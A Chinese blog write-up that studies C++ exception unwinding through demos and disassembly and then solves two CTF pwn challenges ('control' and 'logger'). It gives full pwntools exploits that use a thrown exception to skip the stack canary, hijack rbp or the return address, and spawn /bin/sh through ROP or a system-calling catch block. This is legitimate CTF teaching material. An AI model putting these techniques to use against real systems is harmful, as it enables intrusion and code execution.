从2024羊城杯logger题目引起的cpp异常处理机制学习

自己的理解与尝试

编写demo看执行结果

参考资料然后根据资料里的demo自己改了一下看看实际try…catch是怎么运行的

demo1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <iostream>
using namespace std;

void test_func3()
{
cout << "func3 start" << endl;
throw 3;

cout << "test func3" << endl;
}

void test_func2()
{
cout << "test func2" << endl;
try
{
test_func3();
}
catch (int)
{
cout << "catch 2" << endl;
}
cout << "func2 exit" << endl;
}

void test_func1()
{
cout << "test func1" << endl;
try
{
test_func2();
}
catch (...)
{
cout << "catch 1" << endl;
}
cout << "func1 exit" << endl;
}

int main()
{
test_func1();
cout << "main exit" << endl;
return 0;
}

运行结果;

1
2
3
4
5
6
7
test func1
test func2
func3 start
catch 2
func2 exit
func1 exit
main exit

可以看到func3抛出异常之后,throw后面的代码不再执行。因为func3本身没有catch,所以会从他的调用者去找catch。这里catch理解成异常处理函数。catch2执行完之后会继续把func2、func1和main执行完。

demo2

现在我们试试吧catch2也去掉:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <iostream>
using namespace std;

void test_func3()
{
cout << "func3 start" << endl;
throw 3;

cout << "test func3" << endl;
}

void test_func2()
{
cout << "test func2" << endl;

test_func3();

cout << "func2 exit" << endl;
}

void test_func1()
{
cout << "test func1" << endl;
try
{
test_func2();
}
catch (...)
{
cout << "catch 1" << endl;
}
cout << "func1 exit" << endl;
}

int main()
{
test_func1();
cout << "main exit" << endl;
return 0;
}

运行结果:

1
2
3
4
5
6
test func1
test func2
func3 start
catch 1
func1 exit
main exit

可以看到由于func2也找不到catch,所以会沿着调用链继续向上找,找到了func1处的catch。伴随着func2中的catch的消失而发生的另一个变化是,func2也没有执行完,但是会从func1的catch后继续执行。

demo3

接下来试试在程序中不定义catch看看会发生什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <iostream>
using namespace std;

void test_func3()
{
cout << "func3 start" << endl;
throw 3;

cout << "test func3" << endl;
}

void test_func2()
{
cout << "test func2" << endl;

test_func3();

cout << "func2 exit" << endl;
}

void test_func1()
{
cout << "test func1" << endl;
test_func2();
cout << "func1 exit" << endl;
}

int main()
{
test_func1();
cout << "main exit" << endl;
return 0;
}

运行结果:

1
2
3
4
5
test func1
test func2
func3 start
terminate called after throwing an instance of 'int'
Aborted

程序直接aborted了。

突发奇想,我们把刚刚实验生成的程序放到IDA中看看长什么样。

1
2
3
4
5
6
7
8
9
10
11
void __noreturn test_func3(void)
{
__int64 v0; // rax
_DWORD *exception; // rax

v0 = std::operator<<<std::char_traits<char>>(&std::cout, "func3 start");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
exception = __cxa_allocate_exception(4uLL);
*exception = 3;
__cxa_throw(exception, (struct type_info *)&`typeinfo for'int, 0LL);
}

抛出异常部分的伪代码长这样。但是catch部分并不会出现在伪代码中,但是会体现在汇编当中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
.text:0000000000001341 ;   try {
.text:0000000000001341 call _Z10test_func2v ; test_func2(void)
.text:0000000000001341 ; } // starts at 1341
.text:0000000000001346 ; ---------------------------------------------------------------------------
.text:0000000000001346
.text:0000000000001346 loc_1346: ; CODE XREF: test_func1(void)+A6↓j
.text:0000000000001346 lea rax, aFunc1Exit ; "func1 exit"
.text:000000000000134D mov rsi, rax
.text:0000000000001350 lea rax, _ZSt4cout@GLIBCXX_3_4
.text:0000000000001357 mov rdi, rax
.text:000000000000135A call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:000000000000135F mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr
.text:0000000000001366 mov rsi, rdx
.text:0000000000001369 mov rdi, rax
.text:000000000000136C call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &))
.text:0000000000001371 jmp short loc_13C8
.text:0000000000001373 ; ---------------------------------------------------------------------------
.text:0000000000001373 ; catch(...) // owned by 1341
.text:0000000000001373 endbr64
.text:0000000000001377 mov rdi, rax ; void *
.text:000000000000137A call ___cxa_begin_catch
.text:000000000000137F lea rax, aCatch1 ; "catch 1"
.text:0000000000001386 mov rsi, rax
.text:0000000000001389 lea rax, _ZSt4cout@GLIBCXX_3_4
.text:0000000000001390 mov rdi, rax
.text:0000000000001393 ; try {
.text:0000000000001393 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:0000000000001398 mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr
.text:000000000000139F mov rsi, rdx
.text:00000000000013A2 mov rdi, rax
.text:00000000000013A5 call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &))
.text:00000000000013A5 ; } // starts at 1393
.text:00000000000013AA call ___cxa_end_catch
.text:00000000000013AF jmp short loc_1346
.text:00000000000013B1 ; ---------------------------------------------------------------------------
.text:00000000000013B1 ; cleanup() // owned by 1393
.text:00000000000013B1 endbr64
.text:00000000000013B5 mov rbx, rax
.text:00000000000013B8 call ___cxa_end_catch
.text:00000000000013BD mov rax, rbx
.text:00000000000013C0 mov rdi, rax ; struct _Unwind_Exception *
.text:00000000000013C3 call __Unwind_Resume
.text:00000000000013C8 ; ---------------------------------------------------------------------------
.text:00000000000013C8
.text:00000000000013C8 loc_13C8: ; CODE XREF: test_func1(void)+68↑j
.text:00000000000013C8 mov rbx, [rbp+var_8]
.text:00000000000013CC leave
.text:00000000000013CD retn
.text:00000000000013CD ; } // starts at 1309
.text:00000000000013CD _Z10test_func1v endp

可以看到0x13AF处执行完catch之后jmp到了0x1346,这个地方正好对应源码里func1 exit的部分。说明catch完会直接从当前位置继续执行。

那这里就会产生一个想法,比如说我如果想通过这个劫持执行流,我是否可以直接劫持func1的返回地址就行?

网上关于异常处理漏洞利用的地方几乎完全没看懂,所以打算自己动调看看到底程序在catch的时候发生了什么。

网上的说法

1
2
3
4
5
6
1)调用 __cxa_allocate_exception 函数,分配一个异常对象。
2)调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化。
3)__cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind。
4)_Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。
5)如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。
6)_Unwind_RaiseException() 将控制权转到相应的catch代码。

几乎每一篇博客都能看到这些流程,但是我看得一头雾水,直到我自己动调看了程序的变化才有点头绪。

在动调里挣扎

我用了第一个demo的程序来做动调。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
.text:0000000000001249 ; void __noreturn test_func3(void)
.text:0000000000001249 public _Z10test_func3v
.text:0000000000001249 _Z10test_func3v proc near ; CODE XREF: test_func2(void)+38↓p
.text:0000000000001249 ; __unwind {
.text:0000000000001249 endbr64
.text:000000000000124D push rbp
.text:000000000000124E mov rbp, rsp
.text:0000000000001251 lea rax, aFunc3Start ; "func3 start"
.text:0000000000001258 mov rsi, rax
.text:000000000000125B lea rax, _ZSt4cout@GLIBCXX_3_4
.text:0000000000001262 mov rdi, rax
.text:0000000000001265 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:000000000000126A mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr
.text:0000000000001271 mov rsi, rdx
.text:0000000000001274 mov rdi, rax
.text:0000000000001277 call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &))
.text:000000000000127C mov edi, 4 ; thrown_size
.text:0000000000001281 call ___cxa_allocate_exception
.text:0000000000001286 mov dword ptr [rax], 3
.text:000000000000128C mov edx, 0 ; void (*)(void *)
.text:0000000000001291 lea rcx, _ZTIi@CXXABI_1_3
.text:0000000000001298 mov rsi, rcx ; lptinfo
.text:000000000000129B mov rdi, rax ; void *
.text:000000000000129E call ___cxa_throw
.text:000000000000129E ; } // starts at 1249
.text:000000000000129E _Z10test_func3v endp
.text:000000000000129E
.text:00000000000012A3
.text:00000000000012A3 ; =============== S U B R O U T I N E =======================================
.text:00000000000012A3
.text:00000000000012A3 ; Attributes: bp-based frame
.text:00000000000012A3
.text:00000000000012A3 ; void __noreturn test_func2(void)
.text:00000000000012A3 public _Z10test_func2v
.text:00000000000012A3 _Z10test_func2v proc near ; CODE XREF: test_func1(void)+38↓p
.text:00000000000012A3
.text:00000000000012A3 var_14 = dword ptr -14h
.text:00000000000012A3 var_8 = qword ptr -8
.text:00000000000012A3
.text:00000000000012A3 ; __unwind { // __gxx_personality_v0
.text:00000000000012A3 endbr64
.text:00000000000012A7 push rbp
.text:00000000000012A8 mov rbp, rsp
.text:00000000000012AB push rbx
.text:00000000000012AC sub rsp, 18h
.text:00000000000012B0 lea rax, aTestFunc2 ; "test func2"
.text:00000000000012B7 mov rsi, rax
.text:00000000000012BA lea rax, _ZSt4cout@GLIBCXX_3_4
.text:00000000000012C1 mov rdi, rax
.text:00000000000012C4 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:00000000000012C9 mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr
.text:00000000000012D0 mov rsi, rdx
.text:00000000000012D3 mov rdi, rax
.text:00000000000012D6 call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &))
.text:00000000000012DB ; try {
.text:00000000000012DB call _Z10test_func3v ; test_func3(void)
.text:00000000000012DB ; } // starts at 12DB
.text:00000000000012E0 ; ---------------------------------------------------------------------------
.text:00000000000012E0
.text:00000000000012E0 loc_12E0: ; CODE XREF: test_func2(void)+B9↓j
.text:00000000000012E0 lea rax, aFunc2Exit ; "func2 exit"
.text:00000000000012E7 mov rsi, rax
.text:00000000000012EA lea rax, _ZSt4cout@GLIBCXX_3_4
.text:00000000000012F1 mov rdi, rax
.text:00000000000012F4 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:00000000000012F9 mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr
.text:0000000000001300 mov rsi, rdx
.text:0000000000001303 mov rdi, rax
.text:0000000000001306 call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &))
.text:000000000000130B jmp short loc_1375
.text:000000000000130D ; ---------------------------------------------------------------------------
.text:000000000000130D ; catch(_ZTIi@CXXABI_1_3) // owned by 12DB
.text:000000000000130D endbr64
.text:0000000000001311 cmp rdx, 1
.text:0000000000001315 jz short loc_131F
.text:0000000000001317 mov rdi, rax ; struct _Unwind_Exception *
.text:000000000000131A call __Unwind_Resume
.text:000000000000131F ; ---------------------------------------------------------------------------
.text:000000000000131F
.text:000000000000131F loc_131F: ; CODE XREF: test_func2(void)+72↑j
.text:000000000000131F mov rdi, rax ; void *
.text:0000000000001322 call ___cxa_begin_catch
.text:0000000000001327 mov eax, [rax]
.text:0000000000001329 mov [rbp+var_14], eax
.text:000000000000132C lea rax, aCatch2 ; "catch 2"
.text:0000000000001333 mov rsi, rax
.text:0000000000001336 lea rax, _ZSt4cout@GLIBCXX_3_4
.text:000000000000133D mov rdi, rax
.text:0000000000001340 ; try {
.text:0000000000001340 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:0000000000001345 mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr
.text:000000000000134C mov rsi, rdx
.text:000000000000134F mov rdi, rax
.text:0000000000001352 call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &))
.text:0000000000001352 ; } // starts at 1340
.text:0000000000001357 call ___cxa_end_catch
.text:000000000000135C jmp short loc_12E0
.text:000000000000135E ; ---------------------------------------------------------------------------
.text:000000000000135E ; cleanup() // owned by 1340
.text:000000000000135E endbr64
.text:0000000000001362 mov rbx, rax
.text:0000000000001365 call ___cxa_end_catch
.text:000000000000136A mov rax, rbx
.text:000000000000136D mov rdi, rax ; struct _Unwind_Exception *
.text:0000000000001370 call __Unwind_Resume
.text:0000000000001375 ; ---------------------------------------------------------------------------
.text:0000000000001375
.text:0000000000001375 loc_1375: ; CODE XREF: test_func2(void)+68↑j
.text:0000000000001375 mov rbx, [rbp+var_8]
.text:0000000000001379 leave
.text:000000000000137A retn
.text:000000000000137A ; } // starts at 12A3
.text:000000000000137A _Z10test_func2v endp

首先先断点在.text:000000000000129E call ___cxa_throw上,即func3即将抛出异常的地方,可以看到此时func3的ret地址是func2正常退出的地址(func2+61)

func3断点ret地址正常

如果此时直接步过__cxa_throw,程序直接就往后执行完退出了,说明所有问题都出在这个函数里。因此我们步进去看看会发生什么。

步进之后可以进一步发现问题出在_Unwind_RaiseException函数里。这个函数实在是过于复杂,我在2024GFCTF中的control那道题里找到了这个函数的汇编代码(因为他是静态编译的),从加载出来的符号表可以看出这个函数的主要作用是更改上下文。

从实际效果出发来说的话就是他把func3的返回地址从func2的正常退出改成了func2中的catch块。

这里我偷了个懒,我直接在0x130D处下了断点,也就是刚开始执行func2的catch块的地方,然后关注栈上func3栈帧的返回地址。

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7fffffffdb50
00:0000│-030 0x7fffffffdb50 —▸ 0x7fffffffdb80 —▸ 0x7fffffffdba0 —▸ 0x7fffffffdbb0 ◂— 0x1
01:0008│-028 0x7fffffffdb58 —▸ 0x55555555530d (test_func2()+106) ◂— endbr64
02:0010│ rdi rsp 0x7fffffffdb60 —▸ 0x7fffffffdcc8 —▸ 0x7fffffffdf45 ◂— '/mnt/c/Users/31386/Desktop/tmp'
03:0018│-018 0x7fffffffdb68 ◂— 0xd6e057b5651d2000
04:0020│-010 0x7fffffffdb70 ◂— 0x0
05:0028│-008 0x7fffffffdb78 ◂— 0x0
06:0030│ rbp 0x7fffffffdb80 —▸ 0x7fffffffdba0 —▸ 0x7fffffffdbb0 ◂— 0x1
07:0038│+008 0x7fffffffdb88 —▸ 0x5555555553b8 (test_func1()+61) ◂— lea rax, [rip + 0xc7a]

很明显,func3的返回地址从func2+61变成了func2+106。这就给了我们一个启示:其实可以像正常rop一样劫持ret地址的。但是有一个疑问在于,明明throw往往会比栈溢出更先发生,那岂不是劫持好的ret地址又被修改了?事实上在一些情况下并不会发生,但是百思不得其解。迫不得已,去找找源码。资料 源码

libc里只能找到关于上下文设置的函数,没有_Unwind_RaiseException的,一番搜索之后发现他在gcc的源码里。这意味这什么?这意味这其实这部分处理早在编译的时候就已经做好预处理了,而非程序运行才来处理,是更底层的实现,比如像这个函数是怎么找到catch块的这样的问题。

结合上面两篇资料的分析(我想大概是基于LSDA的检查),加上我自己对源码的理解,应该可以得出一个结论:只要ret地址劫持的是catch块就可以绕过检查,直接break结束循环寻找catch的过程。经过实验发现只要是位于try和catch之间的地址都是合法的。因为资料里有太多看不懂的术语,不确定我的理解是否正确,所以这里只是我的想法,仅有少量实验,未经过严谨的推断,准确性有待商榷。

1
2
3
4
5
6
7
8
9
10
     /* Unwind successful.  Run the personality routine, if any.  */
if (fs.personality)
{
code = (*fs.personality) (1, _UA_SEARCH_PHASE, exc->exception_class,
exc, &cur_context);
if (code == _URC_HANDLER_FOUND)
break;
else if (code != _URC_CONTINUE_UNWIND)
return _URC_FATAL_PHASE1_ERROR;
}

当然这只是有关异常处理利用的其中一种方式而已,我见到更多的其实是利用它不执行后续代码来绕过canary然后打栈迁移的。

DASCTF X GFCTF 2024 control

分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d

init();
puts("welcome to control", argv);
puts("Let's answer some question", argv);
printf((unsigned int)"Gift> ", (_DWORD)argv, v3, v4, v5, v6);
read(0LL, &gift, 16LL);
return vuln(0LL, (__int64)&gift);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall vuln(__int64 a1, __int64 a2)
{
_QWORD *exception; // rax
_BYTE v4[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v5; // [rsp+78h] [rbp-8h]

v5 = __readfsqword(0x28u);
puts("How much do you know about control?", a2);
if ( (int)read(0LL, v4, 0x100LL) > 96 )
{
exception = _cxa_allocate_exception(8uLL);
*exception = "WRONGING! This answer is not suit";
_cxa_throw(exception, (struct type_info *)&`typeinfo for'char const*, 0LL);
}
return __readfsqword(0x28u) ^ v5;
}

程序开头允许向bss段输入16个字节,然后在vuln函数中有cpp的异常处理函数,同时有0x30大小的栈溢出。可以看到当输入大于0x60的时候,就会触发异常处理。触发异常处理后,该函数后面的代码不再执行。所以就算破坏了canary程序也不一定会直接退出(之所以说不一定是因为有可能异常处理函数就是退出处理)。

看汇编会发现vuln函数里并没有catch,main函数中有catch,所以vuln函数中的栈溢出检查就不会被执行,会从main继续往下执行,main结束时会返回,所以只要劫持rbp到bss段上就可以进行rop了。

刚好一开始可以写16个字节,可以提前布置好binsh和ret地址,让main返回之后再次执行vuln函数。方便起见,可以直接劫持ret地址为read处,这样可以绕过栈初始化,就不用再动调看偏移了。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

e = ELF("./control")
r = process("./control")


gift = 0x4D3350
vuln = 0x402183

payload = p64(gift) + p64(vuln)
r.sendafter(b"Gift> ", payload)

payload = b'a'*0x70+p64(gift)
r.sendafter(b"control?", payload)


pop_rax = 0x462c27
pop_rdi = 0x401c72
pop_rsi = 0x405285
pop_rdx_rbx = 0x495b8b
syscall = 0x40161e


payload = p64(0)*14
payload += b'/bin/sh\x00' # <-- gift
payload += p64(pop_rax) # <-- ret地址
payload += p64(0x3b)
payload += p64(pop_rdi)
payload += p64(gift)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(syscall)

r.send(payload)
r.interactive()

2024羊城杯 logger

分析

这道题就要用到最开始分析的方法了,因为这道题是有后门的。

trace函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
unsigned __int64 sub_4015AB()
{
int i; // [rsp+Ch] [rbp-24h]
int j; // [rsp+Ch] [rbp-24h]
int v3; // [rsp+10h] [rbp-20h]
__int16 v4; // [rsp+26h] [rbp-Ah] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("\nYou can record log details here: ");
fflush(stdout);
for ( i = 0; i <= 8 && byte_404020[16 * i]; ++i )
;
if ( i <= 8 )
{
byte_404020[16 * i + read(0, &byte_404020[16 * i], 0x10uLL)] = 0;
printf("Do you need to check the records? ");
fflush(stdout);
v4 = 0;
__isoc99_scanf("%1s", &v4);
if ( (_BYTE)v4 == 121 || (_BYTE)v4 == 89 )
{
v3 = 8;
for ( j = 0; j <= 8 && byte_404020[16 * j] && v3; ++j )
{
printf("\x1B[31mRecord%d. %.16s\x1B[0m", j + 1, &byte_404020[16 * j]);
--v3;
}
}
else if ( (_BYTE)v4 != 110 && (_BYTE)v4 != 78 )
{
puts("Invalid input. Please enter 'y' or 'n'.");
exit(0);
}
}
else
{
puts("Records have been filled :(");
}
return v5 - __readfsqword(0x28u);
}

这个函数允许我们写九次每次16个字节的数据,每次写入后会在末尾加一个截断符,写入的时候会检查该地址起始是否为\0。

warn函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 sub_40178A()
{
unsigned __int64 v0; // rax
_QWORD *exception; // rax
__int64 v3; // [rsp+8h] [rbp-78h]
_BYTE buf[16]; // [rsp+10h] [rbp-70h] BYREF
_QWORD v5[4]; // [rsp+20h] [rbp-60h] BYREF
_QWORD v6[5]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+68h] [rbp-18h]

v7 = __readfsqword(0x28u);
sub_401CA0(buf);
memset(v5, 0, sizeof(v5));
sub_4014FD(v5, 32LL);
printf("\n\x1B[1;31m%s\x1B[0m\n", (const char *)v5);
printf("[!] Type your message here plz: ");
fflush(stdout);
v0 = read(0, buf, 0x100uLL);
HIBYTE(v3) = HIBYTE(v0);
buf[v0 - 1] = 0;
if ( v0 > 0x10 )
{
memcpy(byte_404200, buf, sizeof(byte_404200));
strcpy(dest, src);
strcpy(&dest[strlen(dest)], ": ");
strncat(dest, byte_404200, 0x100uLL);
puts(dest);
exception = __cxa_allocate_exception(8uLL);
*exception = src;
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);
}
memcpy(byte_404100, buf, sizeof(byte_404100));
memset(v6, 0, 32);
sub_4014FD(v6, 32LL);
printf("[User input log]\nMessage: %s\nDone at %s\n", byte_404100, (const char *)v6);
sub_401CCA(buf);
return v7 - __readfsqword(0x28u);
}

这里有抛出异常的函数,如果输入字节的长度大于16字节就会抛出异常。查看汇编发现当前函数是没有catch块的,而调用链上最近的catch块在main函数(其实也是调用链上唯一一个)。异常抛出函数将src处(在data段)的字符当作exception传给catch,然后打印一串字符,接着继续执行main函数,因为main是无限循环的,所以不会退出。

同时可以发现这个程序其实不止一个catch块,并且在0x401BC7的catch执行了system,所以我们可以劫持ret地址到这个后门catch块。接下来考虑怎么传参就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
.text:0000000000401B8F ; void __noreturn sub_401B8F()
.text:0000000000401B8F sub_401B8F proc near
.text:0000000000401B8F
.text:0000000000401B8F command = qword ptr -18h
.text:0000000000401B8F var_8 = qword ptr -8
.text:0000000000401B8F
.text:0000000000401B8F ; __unwind { // __gxx_personality_v0
.text:0000000000401B8F endbr64
.text:0000000000401B93 push rbp
.text:0000000000401B94 mov rbp, rsp
.text:0000000000401B97 push rbx
.text:0000000000401B98 sub rsp, 18h
.text:0000000000401B9C mov edi, 8 ; thrown_size
.text:0000000000401BA1 call ___cxa_allocate_exception
.text:0000000000401BA6 lea rdx, aEchoHelloYcbCt ; "echo Hello, YCB ctfer!"
.text:0000000000401BAD mov [rax], rdx
.text:0000000000401BB0 mov edx, 0 ; void (*)(void *)
.text:0000000000401BB5 mov rcx, cs:_ZTIPKc_ptr
.text:0000000000401BBC mov rsi, rcx ; lptinfo
.text:0000000000401BBF mov rdi, rax ; void *
.text:0000000000401BC2 ; try {
.text:0000000000401BC2 call ___cxa_throw
.text:0000000000401BC2 ; } // starts at 401BC2
.text:0000000000401BC7 ; ---------------------------------------------------------------------------.text:0000000000401B8F ; void __noreturn sub_401B8F()
.text:0000000000401B8F sub_401B8F proc near
.text:0000000000401B8F
.text:0000000000401B8F command = qword ptr -18h
.text:0000000000401B8F var_8 = qword ptr -8
.text:0000000000401B8F
.text:0000000000401B8F ; __unwind { // __gxx_personality_v0
.text:0000000000401B8F endbr64
.text:0000000000401B93 push rbp
.text:0000000000401B94 mov rbp, rsp
.text:0000000000401B97 push rbx
.text:0000000000401B98 sub rsp, 18h
.text:0000000000401B9C mov edi, 8 ; thrown_size
.text:0000000000401BA1 call ___cxa_allocate_exception
.text:0000000000401BA6 lea rdx, aEchoHelloYcbCt ; "echo Hello, YCB ctfer!"
.text:0000000000401BAD mov [rax], rdx
.text:0000000000401BB0 mov edx, 0 ; void (*)(void *)
.text:0000000000401BB5 mov rcx, cs:_ZTIPKc_ptr
.text:0000000000401BBC mov rsi, rcx ; lptinfo
.text:0000000000401BBF mov rdi, rax ; void *
.text:0000000000401BC2 ; try {
.text:0000000000401BC2 call ___cxa_throw
.text:0000000000401BC2 ; } // starts at 401BC2
.text:0000000000401BC7 ; ---------------------------------------------------------------------------
.text:0000000000401BC7 ; catch(char const*) // owned by 401BC2
.text:0000000000401BC7 endbr64
.text:0000000000401BCB cmp rdx, 1
.text:0000000000401BCF jz short loc_401BD9
.text:0000000000401BD1 mov rdi, rax ; struct _Unwind_Exception *
.text:0000000000401BD4 call __Unwind_Resume
.text:0000000000401BD9 ; ---------------------------------------------------------------------------
.text:0000000000401BD9
.text:0000000000401BD9 loc_401BD9: ; CODE XREF: sub_401B8F+40↑j
.text:0000000000401BD9 mov rdi, rax ; void *
.text:0000000000401BDC call ___cxa_begin_catch
.text:0000000000401BE1 mov [rbp+command], rax
.text:0000000000401BE5 mov rax, [rbp+command]
.text:0000000000401BE9 mov rsi, rax
.text:0000000000401BEC lea rax, aAnExceptionOfT_1 ; "[-] An exception of type String was cau"...
.text:0000000000401BF3 mov rdi, rax ; format
.text:0000000000401BF6 mov eax, 0
.text:0000000000401BFB ; try {
.text:0000000000401BFB call _printf
.text:0000000000401C00 mov rax, [rbp+command]
.text:0000000000401C04 mov rdi, rax ; command
.text:0000000000401C07 call _system
.text:0000000000401C07 ; } // starts at 401BFB
.text:0000000000401C0C nop
.text:0000000000401C0D call ___cxa_end_catch
.text:0000000000401C12 jmp short loc_401C2B
.text:0000000000401C14 ; ---------------------------------------------------------------------------
.text:0000000000401C14 ; cleanup() // owned by 401BFB
.text:0000000000401C14 endbr64
.text:0000000000401C18 mov rbx, rax
.text:0000000000401C1B call ___cxa_end_catch
.text:0000000000401C20 mov rax, rbx
.text:0000000000401C23 mov rdi, rax ; struct _Unwind_Exception *
.text:0000000000401C26 call __Unwind_Resume
.text:0000000000401C2B ; ---------------------------------------------------------------------------
.text:0000000000401C2B
.text:0000000000401C2B loc_401C2B: ; CODE XREF: sub_401B8F+83↑j
.text:0000000000401C2B mov rbx, [rbp+var_8]
.text:0000000000401C2F leave
.text:0000000000401C30 retn
.text:0000000000401C30 ; } // starts at 401B8F
.text:0000000000401C30 sub_401B8F endp

可以看到参数是rbp-0x18处的数据,但是在0x401BE1处程序将rax赋给了rbp-0x18,所以要动调看看赋了什么。动调发现是0x4040a0,所以我们需要在这个地方写入binsh。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/32gx 0x404020
0x404020: 0x3b68732f6e69622f 0x3b68732f6e69622f
0x404030: 0x3b68732f6e69622f 0x00000000004040a0
0x404040: 0x3b68732f6e69622f 0x3b68732f6e69622f
0x404050: 0x3b68732f6e69622f 0x3b68732f6e69622f
0x404060: 0x3b68732f6e69622f 0x3b68732f6e69622f
0x404070: 0x3b68732f6e69622f 0x3b68732f6e69622f
0x404080: 0x3b68732f6e69622f 0x3b68732f6e69622f
0x404090: 0x3b68732f6e69622f 0x3b68732f6e69622f
0x4040a0: 0x0068732f6e69622f 0x00776f6c6672000a
0x4040b0: 0x0000000000000000 0x0000000000000000
0x4040c0: 0x00007fa631b00848 0x00007fa631b006f8
0x4040d0: 0x00007fa6319908c0 0x0000000000000000

原本0x4040a0是Buffer Overflow这个字符串,但是利用trace在末尾加截断符的性质可以将这个字符串覆写为binsh。

至于rbp劫持了为多少,只要rbp-0x18不要超出data段就行了。

对了,这里一样也是不用顾虑canary的问题,因为抛出异常之后,__stack_chk_fail不会被执行到。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level = 'debug'
r = process("./pwn")
e = ELF('./pwn')

def trace(content):
r.sendlineafter("chocie:", b'1')
r.sendlineafter("details here:", content)
r.sendlineafter("records?", b'n')


def warn(content):
r.sendlineafter("chocie:", b'2')
r.sendlineafter("plz: ", content)

for i in range(8):
trace(b'/bin/sh;'*2)
trace(b'/bin/sh\x00')
binsh = 0x404020

# gdb.attach(r, 'b *0x401BE1')
# pause()
warn(b'/bin/sh\x00'*(0x70//8)+p64(0x404050)+p64(0x401bc7))

r.interactive()
⬆︎TOP